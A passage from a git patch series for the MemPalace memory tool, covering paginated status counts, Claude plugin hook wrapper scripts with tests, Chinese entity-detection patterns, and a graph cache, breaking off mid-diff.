From c924d07b3e5ffa19e4b333da33147aecd2534d72 Mon Sep 17 00:00:00 2001 From: Vu Nguyen Date: Mon, 13 Apr 2026 22:30:56 -0500 Subject: [PATCH 01/61] fix(status): paginate metadata fetch to support large palaces `col.get(limit=total)` causes SQLite "too many SQL variables" on palaces with >10k drawers (#802) and on older versions the hardcoded limit=10000 silently truncated the count (#850). Paginate in 5k batches using offset and aggregate wing/room counts incrementally. Also use `col.count()` for the header instead of `len(metas)` so the displayed total is always correct. Tested on a 122,686-drawer palace. Fixes #850 Related: #802, #723 --- mempalace/miner.py | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/mempalace/miner.py b/mempalace/miner.py index 73fe0c4..0b9b5b0 100644 --- a/mempalace/miner.py +++ b/mempalace/miner.py @@ -821,17 +821,23 @@ def status(palace_path: str): print(" Run: mempalace init then mempalace mine ") return - # Count by wing and room + # Count by wing and room — paginate to avoid SQLite "too many SQL + # variables" error on large palaces (see #802, #850). total = col.count() - r = col.get(limit=total, include=["metadatas"]) if total else {"metadatas": []} - metas = r["metadatas"] - - wing_rooms = defaultdict(lambda: defaultdict(int)) - for m in metas: - wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1 + wing_rooms: dict = defaultdict(lambda: defaultdict(int)) + batch_size = 5000 + offset = 0 + while offset < total: + r = col.get(limit=batch_size, offset=offset, include=["metadatas"]) + batch = r["metadatas"] + if not batch: + break + for m in batch: + wing_rooms[m.get("wing", "?")][m.get("room", "?")] += 1 + offset += len(batch) print(f"\n{'=' * 55}") - print(f" MemPalace Status — {len(metas)} drawers") + print(f" MemPalace Status — {total} drawers") print(f"{'=' * 55}\n") for wing, rooms in sorted(wing_rooms.items()): print(f" WING: {wing}") From e083cd6c8408c984be7e731003b2cde68ff6c300 Mon Sep 17 00:00:00 2001 From: fatkobra <55045047+fatkobra@users.noreply.github.com> Date: Thu, 16 Apr 2026 10:32:17 +0200 Subject: [PATCH 02/61] Create test_claude_plugin_hook_wrappers.py --- tests/test_claude_plugin_hook_wrappers.py | 161 ++++++++++++++++++++++ 1 file changed, 161 insertions(+) create mode 100644 tests/test_claude_plugin_hook_wrappers.py diff --git a/tests/test_claude_plugin_hook_wrappers.py b/tests/test_claude_plugin_hook_wrappers.py new file mode 100644 index 0000000..da1a5af --- /dev/null +++ b/tests/test_claude_plugin_hook_wrappers.py @@ -0,0 +1,161 @@ +"""Execution tests for Claude plugin hook wrapper scripts.""" + +import os +import subprocess +from pathlib import Path + +import pytest + +REPO_ROOT = Path(__file__).resolve().parents[1] +PLUGIN_HOOKS_DIR = REPO_ROOT / ".claude-plugin" / "hooks" +SCRIPT_CASES = [ + ("mempal-stop-hook.sh", "stop"), + ("mempal-precompact-hook.sh", "precompact"), +] + + +def _write_executable(path: Path, content: str) -> None: + path.write_text(content, encoding="utf-8") + path.chmod(0o755) + + +def _make_bin_dir(tmp_path: Path, executables: dict[str, str]) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + for name, content in executables.items(): + _write_executable(bin_dir / name, content) + return bin_dir + + +def _run_hook(script_name: str, payload: str, bin_dir: Path) -> subprocess.CompletedProcess[str]: + env = os.environ.copy() + env["PATH"] = str(bin_dir) + return subprocess.run( + ["/bin/bash", str(PLUGIN_HOOKS_DIR / script_name)], + input=payload, + text=True, + capture_output=True, + cwd=REPO_ROOT, + env=env, + ) + + +@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES) +def test_plugin_hook_wrapper_prefers_mempalace_cli( + tmp_path: Path, script_name: str, hook_name: str +) -> None: + args_file = tmp_path / "args.txt" + stdin_file = tmp_path / "stdin.json" + bin_dir = _make_bin_dir( + tmp_path, + { + "mempalace": ( + "#!/bin/sh\n" + f'printf \'%s\' "$*" > "{args_file}"\n' + f'/bin/cat > "{stdin_file}"\n' + "printf '{}\\n'\n" + ), + "python": "#!/bin/sh\nexit 99\n", + "python3": "#!/bin/sh\nexit 99\n", + }, + ) + + payload = '{"session_id":"abc123"}' + result = _run_hook(script_name, payload, bin_dir) + + assert result.returncode == 0 + assert result.stdout == "{}\n" + assert ( + args_file.read_text(encoding="utf-8") + == f"hook run --hook {hook_name} --harness claude-code" + ) + assert stdin_file.read_text(encoding="utf-8") == payload + + +@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES) +@pytest.mark.parametrize("python_name", ["python3", "python"]) +def test_plugin_hook_wrapper_falls_back_to_importable_python( + tmp_path: Path, script_name: str, hook_name: str, python_name: str +) -> None: + args_file = tmp_path / "args.txt" + stdin_file = tmp_path / "stdin.json" + python_stub = ( + "#!/bin/sh\n" + 'if [ "$1" = "-c" ]; then\n' + " exit 0\n" + "fi\n" + f'printf \'%s\' "$*" > "{args_file}"\n' + f'/bin/cat > "{stdin_file}"\n' + "printf '{}\\n'\n" + ) + bin_dir = _make_bin_dir(tmp_path, {python_name: python_stub}) + + payload = '{"session_id":"xyz789"}' + result = _run_hook(script_name, payload, bin_dir) + + assert result.returncode == 0 + assert result.stdout == "{}\n" + assert ( + args_file.read_text(encoding="utf-8") + == f"-m mempalace hook run --hook {hook_name} --harness claude-code" + ) + assert stdin_file.read_text(encoding="utf-8") == payload + + +@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES) +def test_plugin_hook_wrapper_errors_cleanly_when_no_runner_exists( + tmp_path: Path, script_name: str, hook_name: str +) -> None: + bin_dir = _make_bin_dir(tmp_path, {}) + + payload = '{"session_id":"no-runner"}' + result = _run_hook(script_name, payload, bin_dir) + + assert result.returncode != 0 + assert result.stdout == "" + assert "could not find a runnable mempalace command or module" in result.stderr + + +@pytest.mark.parametrize(("script_name", "hook_name"), SCRIPT_CASES) +def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import( + tmp_path: Path, script_name: str, hook_name: str +) -> None: + args_file = tmp_path / "args.txt" + stdin_file = tmp_path / "stdin.json" + bad_python3_used = tmp_path / "bad_python3_used.txt" + + bin_dir = _make_bin_dir( + tmp_path, + { + "python3": ( + "#!/bin/sh\n" + 'if [ "$1" = "-c" ]; then\n' + " exit 1\n" + "fi\n" + f"printf 'used' > \"{bad_python3_used}\"\n" + "echo 'No module named mempalace' >&2\n" + "exit 1\n" + ), + "python": ( + "#!/bin/sh\n" + 'if [ "$1" = "-c" ]; then\n' + " exit 0\n" + "fi\n" + f'printf \'%s\' "$*" > "{args_file}"\n' + f'/bin/cat > "{stdin_file}"\n' + "printf '{}\\n'\n" + ), + }, + ) + + payload = '{"session_id":"fallback"}' + result = _run_hook(script_name, payload, bin_dir) + + assert result.returncode == 0 + assert result.stdout == "{}\n" + assert ( + args_file.read_text(encoding="utf-8") + == f"-m mempalace hook run --hook {hook_name} --harness claude-code" + ) + assert stdin_file.read_text(encoding="utf-8") == payload + assert not bad_python3_used.exists() From 5fe0c1c2acad6cda1a8ca184a870580873ac7dcf Mon Sep 17 00:00:00 2001 From: fatkobra <55045047+fatkobra@users.noreply.github.com> Date: Thu, 16 Apr 2026 10:33:34 +0200 Subject: [PATCH 03/61] Update mempal-stop-hook.sh --- .claude-plugin/hooks/mempal-stop-hook.sh | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/.claude-plugin/hooks/mempal-stop-hook.sh b/.claude-plugin/hooks/mempal-stop-hook.sh index cba3284..5c860b4 100644 --- a/.claude-plugin/hooks/mempal-stop-hook.sh +++ b/.claude-plugin/hooks/mempal-stop-hook.sh @@ -1,5 +1,24 @@ #!/bin/bash # MemPalace Stop Hook — thin wrapper calling Python CLI # All logic lives in mempalace.hooks_cli for cross-harness extensibility -INPUT=$(cat) -echo "$INPUT" | python3 -m mempalace hook run --hook stop --harness claude-code +run_mempalace_hook() { + if command -v mempalace >/dev/null 2>&1; then + mempalace hook run "$@" + return $? + fi + + if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then + python3 -m mempalace hook run "$@" + return $? + fi + + if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then + python -m mempalace hook run "$@" + return $? + fi + + echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2 + return 1 +} + +run_mempalace_hook --hook stop --harness claude-code From be9214a19064039e2834c5b3da72c10f9b3df451 Mon Sep 17 00:00:00 2001 From: fatkobra <55045047+fatkobra@users.noreply.github.com> Date: Thu, 16 Apr 2026 10:42:20 +0200 Subject: [PATCH 04/61] Update mempal-precompact-hook.sh --- .../hooks/mempal-precompact-hook.sh | 23 +++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/.claude-plugin/hooks/mempal-precompact-hook.sh b/.claude-plugin/hooks/mempal-precompact-hook.sh index 0ac46dd..19bb6b0 100644 --- a/.claude-plugin/hooks/mempal-precompact-hook.sh +++ b/.claude-plugin/hooks/mempal-precompact-hook.sh @@ -1,5 +1,24 @@ #!/bin/bash # MemPalace PreCompact Hook — thin wrapper calling Python CLI # All logic lives in mempalace.hooks_cli for cross-harness extensibility -INPUT=$(cat) -echo "$INPUT" | python3 -m mempalace hook run --hook precompact --harness claude-code +run_mempalace_hook() { + if command -v mempalace >/dev/null 2>&1; then + mempalace hook run "$@" + return $? + fi + + if command -v python3 >/dev/null 2>&1 && python3 -c "import mempalace" >/dev/null 2>&1; then + python3 -m mempalace hook run "$@" + return $? + fi + + if command -v python >/dev/null 2>&1 && python -c "import mempalace" >/dev/null 2>&1; then + python -m mempalace hook run "$@" + return $? + fi + + echo "MemPalace hook error: could not find a runnable mempalace command or module" >&2 + return 1 +} + +run_mempalace_hook --hook precompact --harness claude-code From 1dc55a791d95a1794f0e498524b771283b2bf839 Mon Sep 17 00:00:00 2001 From: fatkobra <55045047+fatkobra@users.noreply.github.com> Date: Thu, 16 Apr 2026 11:41:53 +0200 Subject: [PATCH 05/61] test: make Claude plugin wrapper tests portable on Windows --- tests/test_claude_plugin_hook_wrappers.py | 49 ++++++++++++++++++----- 1 file changed, 40 insertions(+), 9 deletions(-) diff --git a/tests/test_claude_plugin_hook_wrappers.py b/tests/test_claude_plugin_hook_wrappers.py index da1a5af..9bffa63 100644 --- a/tests/test_claude_plugin_hook_wrappers.py +++ b/tests/test_claude_plugin_hook_wrappers.py @@ -1,6 +1,7 @@ """Execution tests for Claude plugin hook wrapper scripts.""" import os +import shutil import subprocess from pathlib import Path @@ -8,12 +9,23 @@ import pytest REPO_ROOT = Path(__file__).resolve().parents[1] PLUGIN_HOOKS_DIR = REPO_ROOT / ".claude-plugin" / "hooks" +BASH = shutil.which("bash") + +pytestmark = pytest.mark.skipif( + BASH is None, + reason="bash required for Claude plugin hook wrapper tests", +) + SCRIPT_CASES = [ ("mempal-stop-hook.sh", "stop"), ("mempal-precompact-hook.sh", "precompact"), ] +def _shell_path(path: Path) -> str: + return path.as_posix() + + def _write_executable(path: Path, content: str) -> None: path.write_text(content, encoding="utf-8") path.chmod(0o755) @@ -27,11 +39,28 @@ def _make_bin_dir(tmp_path: Path, executables: dict[str, str]) -> Path: return bin_dir -def _run_hook(script_name: str, payload: str, bin_dir: Path) -> subprocess.CompletedProcess[str]: +def _capture_stdin_to(output_path: Path) -> str: + return ( + 'stdin_payload=""\n' + 'while IFS= read -r line || [ -n "$line" ]; do\n' + ' stdin_payload="${stdin_payload}${line}"\n' + "done\n" + f'printf \'%s\' "$stdin_payload" > "{_shell_path(output_path)}"\n' + ) + + +def _run_hook( + script_name: str, + payload: str, + bin_dir: Path, +) -> subprocess.CompletedProcess[str]: + assert BASH is not None + env = os.environ.copy() env["PATH"] = str(bin_dir) + return subprocess.run( - ["/bin/bash", str(PLUGIN_HOOKS_DIR / script_name)], + [BASH, str(PLUGIN_HOOKS_DIR / script_name)], input=payload, text=True, capture_output=True, @@ -46,13 +75,14 @@ def test_plugin_hook_wrapper_prefers_mempalace_cli( ) -> None: args_file = tmp_path / "args.txt" stdin_file = tmp_path / "stdin.json" + bin_dir = _make_bin_dir( tmp_path, { "mempalace": ( "#!/bin/sh\n" - f'printf \'%s\' "$*" > "{args_file}"\n' - f'/bin/cat > "{stdin_file}"\n' + f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n' + f"{_capture_stdin_to(stdin_file)}" "printf '{}\\n'\n" ), "python": "#!/bin/sh\nexit 99\n", @@ -79,13 +109,14 @@ def test_plugin_hook_wrapper_falls_back_to_importable_python( ) -> None: args_file = tmp_path / "args.txt" stdin_file = tmp_path / "stdin.json" + python_stub = ( "#!/bin/sh\n" 'if [ "$1" = "-c" ]; then\n' " exit 0\n" "fi\n" - f'printf \'%s\' "$*" > "{args_file}"\n' - f'/bin/cat > "{stdin_file}"\n' + f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n' + f"{_capture_stdin_to(stdin_file)}" "printf '{}\\n'\n" ) bin_dir = _make_bin_dir(tmp_path, {python_name: python_stub}) @@ -132,7 +163,7 @@ def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import( 'if [ "$1" = "-c" ]; then\n' " exit 1\n" "fi\n" - f"printf 'used' > \"{bad_python3_used}\"\n" + f"printf 'used' > \"{_shell_path(bad_python3_used)}\"\n" "echo 'No module named mempalace' >&2\n" "exit 1\n" ), @@ -141,8 +172,8 @@ def test_plugin_hook_wrapper_falls_back_to_python_when_python3_cannot_import( 'if [ "$1" = "-c" ]; then\n' " exit 0\n" "fi\n" - f'printf \'%s\' "$*" > "{args_file}"\n' - f'/bin/cat > "{stdin_file}"\n' + f'printf \'%s\' "$*" > "{_shell_path(args_file)}"\n' + f"{_capture_stdin_to(stdin_file)}" "printf '{}\\n'\n" ), }, From 683e940f7009487fd05667e623a775e734c27c9d Mon Sep 17 00:00:00 2001 From: Lman Chu Date: Thu, 16 Apr 2026 17:43:09 +0800 Subject: [PATCH 06/61] feat(i18n): add Traditional + Simplified Chinese entity detection MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit zh-TW and zh-CN previously had no `entity` section. Calling `detect_entities(..., languages=("zh-TW",))` silently fell back to English patterns (i18n/__init__.py:231-233), so no Chinese names were ever extracted — Chinese-speaking users got zero people or projects detected from their own notes. This adds entity sections for both locales: - `candidate_pattern`: common-surname-prefixed CJK n-grams (~100 surnames covering >95% of Taiwanese / PRC names), length capped at {1,2} trailing chars so greedy matches don't swallow the trailing verb character (e.g. 朱宜振說). - `boundary_chars`: `\u4E00-\u9FFF` so the i18n loader's script-aware wrap (introduced in #932) fires `\b` at CJK↔non-CJK transitions. This is the same mechanism used for Devanagari, applied to the CJK range. - `person_verb_patterns`: Chinese verbs attach directly to the name with no whitespace, so patterns are written as `{name}說`, `{name}問`, `{name}決定` — no `\b` or `\s+` separators. - `dialogue_patterns`: full-width colon `:`, Chinese quotes 「」『』, plus the standard Latin forms. - `pronoun_patterns`: 他 / 她 / 它 / 他們 / 她們 / 您 / 咱. - `stopwords`: ~140 common particles, pronouns, time expressions, question words, conjunctions, UI nouns, and politeness forms. **Known limitation** (explicitly covered by a test): CJK scripts have no word delimiters, so a name flanked by CJK on both sides with no punctuation or whitespace break is not extracted. This is a fundamental limit of regex-based CJK entity detection — resolving it would require a dictionary tokeniser. Realistic Chinese technical writing contains enough non-CJK neighbours (bullet lines, inline English, full-width punctuation, newlines) that 3+ occurrences normally produce matches. Verified against a realistic zh-TW PKM note: 朱宜振 extracted 11x from 8 sentences with 0.99 person-classification confidence. **Follow-ups** (separate PRs): same pattern for `ja` and `ko`, both of which currently share the silent fallback-to-English bug. Tests: 7 new tests in `tests/test_entity_detector.py`: - `test_zh_tw_candidate_extraction_at_boundaries` - `test_zh_tw_person_classification` - `test_zh_tw_stopwords_filter_common_particles` - `test_zh_tw_falls_back_to_english_for_non_cjk_names` - `test_zh_cn_candidate_extraction` - `test_zh_cn_and_zh_tw_union_covers_both_variants` - `test_zh_tw_known_limitation_inline_name_no_boundary` Full suite: 957 passed, 0 failed. --- mempalace/i18n/zh-CN.json | 88 ++++++++++++++++++++++++++++ mempalace/i18n/zh-TW.json | 88 ++++++++++++++++++++++++++++ tests/test_entity_detector.py | 107 ++++++++++++++++++++++++++++++++++ 3 files changed, 283 insertions(+) diff --git a/mempalace/i18n/zh-CN.json b/mempalace/i18n/zh-CN.json index 4e41a57..7a708cf 100644 --- a/mempalace/i18n/zh-CN.json +++ b/mempalace/i18n/zh-CN.json @@ -40,5 +40,93 @@ "stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一个 上 也 很 到 说 要 去 你 会 着 没有 看 好 自己 这 那 她 他 它 们 但是 因为 所以 如果 虽然 然后 或者 而且", "quote_pattern": "\\u201C([^\\u201D]{10,100})\\u201D|\"([^\"]{10,200})\"", "action_pattern": "(构建|修复|添加|删除|确认|创建|实现|修理|编写|测试|验证|更新|配置|启动|停止)(?:了|完成|成功)" + }, + "entity": { + "boundary_chars": "\\u4E00-\\u9FFF", + "candidate_pattern": "[王李张刘陈杨赵黄周吴徐孙朱胡郭何高林罗郑梁谢宋唐许韩冯邓曹彭曾萧田董袁潘于蒋蔡余杜叶程苏魏吕丁任沈姚卢姜崔钟谭陆汪范金石廖贾夏韦方白邹孟熊秦邱江尹薛阎段雷侯龙史陶黎贺顾毛郝龚邵万钱严武戴莫孔向汤温庞殷章葛管甘卞冉蓝殷习][\\u4E00-\\u9FFF]{1,2}", + "person_verb_patterns": [ + "{name}说", + "{name}问", + "{name}答", + "{name}表示", + "{name}回答", + "{name}提出", + "{name}决定", + "{name}认为", + "{name}指出", + "{name}解释", + "{name}告诉", + "{name}写道", + "{name}想", + "{name}觉得", + "{name}知道", + "{name}喜欢", + "{name}讨厌", + "{name}确认", + "{name}提醒", + "{name}分享", + "{name}建议", + "{name}同意", + "{name}反对" + ], + "pronoun_patterns": [ + "他们", + "她们", + "他", + "她", + "它", + "您", + "咱" + ], + "dialogue_patterns": [ + "^>\\s*{name}[::\\s]", + "^{name}[::]\\s?", + "^\\[{name}\\]", + "\u201C{name}[\u201D::]", + "「{name}[」::]" + ], + "direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|谢谢\\s*{name}|感谢\\s*{name}|哈喽\\s*{name}|亲爱的\\s*{name}", + "project_verb_patterns": [ + "建立{name}", + "打造{name}", + "部署{name}", + "启动{name}", + "发布{name}", + "上线{name}", + "开发{name}", + "维护{name}", + "{name}系统", + "{name}平台", + "{name}项目", + "{name}架构", + "{name}管线", + "{name}v\\d+", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "的", "了", "着", "过", "得", "地", "吗", "吧", "呢", "啊", "喔", "耶", + "我", "你", "妳", "他", "她", "它", "您", "咱", + "我们", "你们", "妳们", "他们", "她们", "它们", "咱们", + "自己", "大家", "有人", "没人", + "今天", "明天", "昨天", "前天", "后天", "今年", "明年", "去年", + "早上", "下午", "晚上", "中午", "凌晨", + "现在", "刚才", "刚刚", "等等", "等下", "待会", + "最近", "以前", "之前", "之后", "以后", "后来", + "什么", "为什么", "怎么", "怎样", "哪里", "哪个", + "这个", "那个", "这里", "那里", "这些", "那些", "这样", "那样", + "但是", "可是", "然后", "所以", "因为", "如果", "虽然", + "而且", "或者", "或是", "还是", "不过", "只是", "不只", + "既然", "不然", "否则", "此外", "另外", + "很", "非常", "相当", "真的", "确实", "当然", "其实", + "已经", "正在", "即将", "将要", "刚好", "恰好", + "可能", "也许", "或许", "大概", "应该", "必须", "一定", + "完成", "执行", "进行", "开始", "结束", "继续", "停止", "完毕", + "没有", "有点", "有些", "一些", "许多", "很多", + "问题", "答案", "原因", "结果", "情况", "状况", + "主要", "重要", "基本", "简单", "复杂", "特别", + "谢谢", "感谢", "对不起", "不好意思", "请问", + "欢迎", "再见", "你好", "您好", "哈喽", "拜拜" + ] } } diff --git a/mempalace/i18n/zh-TW.json b/mempalace/i18n/zh-TW.json index b65552b..db3f2ad 100644 --- a/mempalace/i18n/zh-TW.json +++ b/mempalace/i18n/zh-TW.json @@ -40,5 +40,93 @@ "stop_words": "的 了 在 是 我 有 和 就 不 人 都 一 一個 上 也 很 到 說 要 去 你 會 著 沒有 看 好 自己 這 那 她 他 它 們 但是 因為 所以 如果 雖然 然後 或者 而且", "quote_pattern": "「([^」]{10,100})」|\u201c([^\u201d]{10,100})\u201d", "action_pattern": "(構建|修復|添加|刪除|確認|創建|實現|修理|編寫|測試|驗證|更新|配置|啟動|停止)(?:了|完成|成功)" + }, + "entity": { + "boundary_chars": "\\u4E00-\\u9FFF", + "candidate_pattern": "[王李張劉陳楊趙黃周吳徐孫朱胡郭何高林羅鄭梁謝宋唐許韓馮鄧曹彭曾蕭田董袁潘于蔣蔡余杜葉程蘇魏呂丁任沈姚盧姜崔鍾譚陸汪范金石廖賈夏韋方白鄒孟熊秦邱江尹薛閻段雷侯龍史陶黎賀顧毛郝龔邵萬錢嚴武戴莫孔向湯溫龐殷章葛管甘卞冉藍殷習][\\u4E00-\\u9FFF]{1,2}", + "person_verb_patterns": [ + "{name}說", + "{name}問", + "{name}答", + "{name}表示", + "{name}回答", + "{name}提出", + "{name}決定", + "{name}認為", + "{name}指出", + "{name}解釋", + "{name}告訴", + "{name}寫道", + "{name}想", + "{name}覺得", + "{name}知道", + "{name}喜歡", + "{name}討厭", + "{name}確認", + "{name}提醒", + "{name}分享", + "{name}建議", + "{name}同意", + "{name}反對" + ], + "pronoun_patterns": [ + "他們", + "她們", + "他", + "她", + "它", + "您", + "咱" + ], + "dialogue_patterns": [ + "^>\\s*{name}[::\\s]", + "^{name}[::]\\s?", + "^\\[{name}\\]", + "「{name}[」::]", + "『{name}[』::]" + ], + "direct_address_pattern": "嘿\\s*{name}|喂\\s*{name}|謝謝\\s*{name}|感謝\\s*{name}|哈囉\\s*{name}|親愛的\\s*{name}", + "project_verb_patterns": [ + "建立{name}", + "打造{name}", + "部署{name}", + "啟動{name}", + "發布{name}", + "上線{name}", + "開發{name}", + "維護{name}", + "{name}系統", + "{name}平台", + "{name}專案", + "{name}架構", + "{name}管線", + "{name}v\\d+", + "\\bimport\\s+{name}\\b", + "\\bpip\\s+install\\s+{name}\\b" + ], + "stopwords": [ + "的", "了", "著", "過", "得", "地", "嗎", "吧", "呢", "啊", "喔", "耶", + "我", "你", "妳", "他", "她", "它", "您", "咱", + "我們", "你們", "妳們", "他們", "她們", "它們", "咱們", + "自己", "大家", "有人", "沒人", + "今天", "明天", "昨天", "前天", "後天", "今年", "明年", "去年", + "早上", "下午", "晚上", "中午", "凌晨", + "現在", "剛才", "剛剛", "等等", "等下", "待會", + "最近", "以前", "之前", "之後", "以後", "後來", + "什麼", "甚麼", "為什麼", "怎麼", "怎樣", "哪裡", "哪個", + "這個", "那個", "這裡", "那裡", "這些", "那些", "這樣", "那樣", + "但是", "可是", "然後", "所以", "因為", "如果", "雖然", + "而且", "或者", "或是", "還是", "不過", "只是", "不只", + "既然", "不然", "否則", "此外", "另外", + "很", "非常", "相當", "真的", "確實", "當然", "其實", + "已經", "正在", "即將", "將要", "剛好", "恰好", + "可能", "也許", "或許", "大概", "應該", "必須", "一定", + "完成", "執行", "進行", "開始", "結束", "繼續", "停止", "完畢", + "沒有", "有點", "有些", "一些", "許多", "很多", + "問題", "答案", "原因", "結果", "情況", "狀況", + "主要", "重要", "基本", "簡單", "複雜", "特別", + "謝謝", "感謝", "對不起", "不好意思", "請問", + "歡迎", "再見", "你好", "您好", "哈囉", "掰掰" + ] } } diff --git a/tests/test_entity_detector.py b/tests/test_entity_detector.py index 05a0923..0691116 100644 --- a/tests/test_entity_detector.py +++ b/tests/test_entity_detector.py @@ -661,3 +661,110 @@ def test_boundary_chars_english_regression(): result = extract_candidates(text, languages=("en",)) assert "Riley" in result assert result["Riley"] >= 3 + + +# ── Chinese (zh-TW / zh-CN) entity detection ────────────────────────── + +# CJK scripts have no word delimiters — a regex-based extractor can only +# catch names when they have a non-CJK neighbour (whitespace, punctuation, +# newline, or mixed English). Real-world technical notes in zh-TW / zh-CN +# routinely satisfy this: names appear at the start of bullet lines, next +# to English terms, or before full-width punctuation 「」:,。. The patterns +# below target that realistic regime. + + +def test_zh_tw_candidate_extraction_at_boundaries(): + """A 3-char Traditional Chinese name is extracted when neighboured by + whitespace, English, full-width punctuation, or line-start.""" + text = ( + "# 會議紀錄\n" + "- 朱宜振 主持\n" + "朱宜振 跟 Jeffrey 討論。\n" + "朱宜振: 方向正確。\n" + "朱宜振, 明天 pitch。\n" + ) + result = extract_candidates(text, languages=("zh-TW",)) + assert "朱宜振" in result, f"expected 朱宜振 in {result}" + assert result["朱宜振"] >= 3 + + +def test_zh_tw_person_classification(): + """A Traditional Chinese name with dialogue + verb context classifies + as a person.""" + text = ( + "朱宜振: 「我們要 6 月 launch。」\n" + "朱宜振 同意 Arnold 的方案。\n" + "朱宜振 覺得 Hermes 方向對。\n" + "朱宜振 決定 ship pitch。\n" + ) + lines = text.splitlines() + scores = score_entity("朱宜振", text, lines, languages=("zh-TW",)) + # Dialogue + action signals fire — person score dominates + assert scores["person_score"] > 0, f"expected person signals, got {scores}" + + +def test_zh_tw_stopwords_filter_common_particles(): + """Common Chinese particles / pronouns should be stopword-filtered + even if they happen to share a surname prefix like 甘 or 習.""" + from mempalace.i18n import get_entity_patterns + + patterns = get_entity_patterns(("zh-TW",)) + stopwords = set(patterns["stopwords"]) + # Sanity: stopwords are lower-cased from the source list + assert "這個" in stopwords + assert "我們" in stopwords + assert "他們" in stopwords + assert "完成" in stopwords + + +def test_zh_tw_falls_back_to_english_for_non_cjk_names(): + """English names embedded in Chinese text are still captured via the + English pattern — Lman's Chinese notes mix in names like 'Jeffrey Lai'.""" + text = ( + "朱宜振 跟 Jeffrey Lai 討論 pitch。\n" + "Jeffrey Lai 報告進度。\n" + "朱宜振 同意 Jeffrey Lai 的方案。\n" + "朱宜振: 確認。\n" + ) + result = extract_candidates(text, languages=("zh-TW", "en")) + assert "Jeffrey Lai" in result or "Jeffrey" in result + assert "朱宜振" in result + + +def test_zh_cn_candidate_extraction(): + """Simplified-Chinese name extraction mirrors zh-TW behaviour.""" + text = ( + "张三 今天主持。\n" + "- 张三 跟 Bob 谈。\n" + "张三: 已经搞定了。\n" + "张三, 明天继续。\n" + ) + result = extract_candidates(text, languages=("zh-CN",)) + assert "张三" in result, f"expected 张三 in {result}" + assert result["张三"] >= 3 + + +def test_zh_cn_and_zh_tw_union_covers_both_variants(): + """Passing both zh-CN and zh-TW unions the surname sets — a document + mixing simplified 张三 and traditional 張三 extracts both.""" + text = ( + "张三 说 hello。张三 笑了。张三 同意。\n" + "張三 也參加。張三 寫 code。張三 決定。\n" + ) + result = extract_candidates(text, languages=("zh-TW", "zh-CN")) + # At least one variant meets freq>=3 + assert "张三" in result or "張三" in result + + +def test_zh_tw_known_limitation_inline_name_no_boundary(): + """Documented limitation: a name sandwiched between CJK chars with no + whitespace or punctuation break is not extracted. This is a fundamental + limit of regex-based CJK entity detection — words have no delimiters. + Realistic Chinese writing has enough non-CJK boundaries (punctuation, + newlines, mixed English) that 3+ occurrences normally produce matches + elsewhere in the document, so this rarely degrades real-world recall.""" + # 朱宜振 appears 4x but every instance is flanked by CJK on both sides. + text = "他是朱宜振今天來。說朱宜振決定。又朱宜振負責。問朱宜振意見。" + result = extract_candidates(text, languages=("zh-TW",)) + # Extraction is expected to miss this adversarial case. + assert "朱宜振" not in result From 84e2aa16e42d86b96cd74f48cc70ced259e77fec Mon Sep 17 00:00:00 2001 From: jp Date: Sat, 11 Apr 2026 19:44:49 -0700 Subject: [PATCH 07/61] perf: graph cache with write-invalidation in build_graph() MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit build_graph() scans every drawer's metadata in 1000-item batches on every call — O(n) per graph build with no caching. At 50K+ drawers this costs several seconds per MCP tool call (traverse, find_tunnels, graph_stats all call build_graph on every invocation). Add a module-level cache (nodes + edges + timestamp) with a 60-second TTL. Cache is invalidated via invalidate_graph_cache(), exported for write operations to call. Tests updated with setup_method cache resets and two new tests verifying cache hit and invalidation behaviour. --- mempalace/palace_graph.py | 27 +++++++++++++++++++++++++++ tests/test_palace_graph.py | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 64 insertions(+) diff --git a/mempalace/palace_graph.py b/mempalace/palace_graph.py index 71cad89..faeedd3 100644 --- a/mempalace/palace_graph.py +++ b/mempalace/palace_graph.py @@ -18,6 +18,7 @@ No external graph DB needed — built from ChromaDB metadata. import hashlib import json import os +import time from collections import Counter, defaultdict from datetime import datetime, timezone @@ -25,6 +26,20 @@ from .config import MempalaceConfig from .palace import get_collection as _get_palace_collection from .palace import mine_lock +# Module-level graph cache — mirrors _metadata_cache pattern in mcp_server.py +_graph_cache_nodes = None +_graph_cache_edges = None +_graph_cache_time = 0.0 +_GRAPH_CACHE_TTL = 60.0 # seconds — graph changes less often than metadata + + +def invalidate_graph_cache(): + """Clear the graph cache. Called from mcp_server.py on writes.""" + global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time + _graph_cache_nodes = None + _graph_cache_edges = None + _graph_cache_time = 0.0 + def _get_collection(config=None): config = config or MempalaceConfig() @@ -42,10 +57,18 @@ def build_graph(col=None, config=None): """ Build the palace graph from ChromaDB metadata. + Returns cached result if fresh (within TTL). Cache is invalidated + on writes via invalidate_graph_cache(). + Returns: nodes: dict of {room: {wings: set, halls: set, count: int}} edges: list of {room, wing_a, wing_b, hall} — one per tunnel crossing """ + global _graph_cache_nodes, _graph_cache_edges, _graph_cache_time + now = time.time() + if _graph_cache_nodes is not None and (now - _graph_cache_time) < _GRAPH_CACHE_TTL: + return _graph_cache_nodes, _graph_cache_edges + if col is None: col = _get_collection(config) if not col: @@ -101,6 +124,10 @@ 